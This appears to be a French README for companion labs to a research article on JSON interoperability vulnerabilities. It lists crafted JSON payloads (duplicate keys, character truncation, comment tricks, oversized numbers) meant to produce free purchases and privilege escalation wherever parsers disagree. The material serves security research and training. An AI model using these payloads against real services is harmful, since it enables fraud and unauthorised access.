
Laboratoires d'accompagnement pour « Une exploration des vulnérabilités d'interopérabilité JSON »
Ce sont les laboratoires complémentaires de mon article de recherche "Une exploration des vulnérabilités d'interopérabilité JSON".
Laboratoire 1 : Achats gratuits dans une application de commerce électronique
Laboratoire 2 : Élévation de privilèges dans une application multi-locataires
Ces laboratoires se lient aux ports hôte 5000-5004, par défaut.
Précédence incohérente des clés dupliquées
{"qty": 1, "qty": -1}
Troncation de caractères
Troncation dans les analyseurs avec précédence de la dernière clé (inverser l'ordre pour la précédence de la première clé)
{"qty": 1, "qty\<raw \x0d byte here>": -1}
{"qty": 1, "qty\ud800": -1} # Any unpaired surrogate U+D800-U+DFFF
{"qty": 1, "qty"": -1}
{"qty": 1, "qt\y": -1}
Troncation par commentaires
Ces documents tirent parti de la prise en charge incohérente des commentaires et des chaînes sans guillemets :
{"qty": 1, "extra": 1/*, "qty": -1, "extra2": 2*/}
{"qty": 1, "extra": a/*, "qty": -1, "extra2": b*/}
{"qty": 1, "extra": "a/*", "qty": -1, "extra2": "b"*/}
{"qty": 1, "extra": "a"//, "qty": -1}
Décodage incohérent des grands nombres
Ces grandes valeurs numériques peuvent être converties en chaînes de caractères (par exemple, "+Infinity"), ce qui peut entraîner des vulnérabilités de type "type juggling". Ou bien, elles peuvent être converties en MAX_INT/MIN_INT, en valeurs arrondies ou en 0, ce qui peut permettre de contourner la logique métier.
{"qty": 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999}
{"qty": -999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999}
{"qty": 1.0e4096}
{"qty": -1.0e4096}
Twitter : @theBumbleSec
GitHub : the-bumble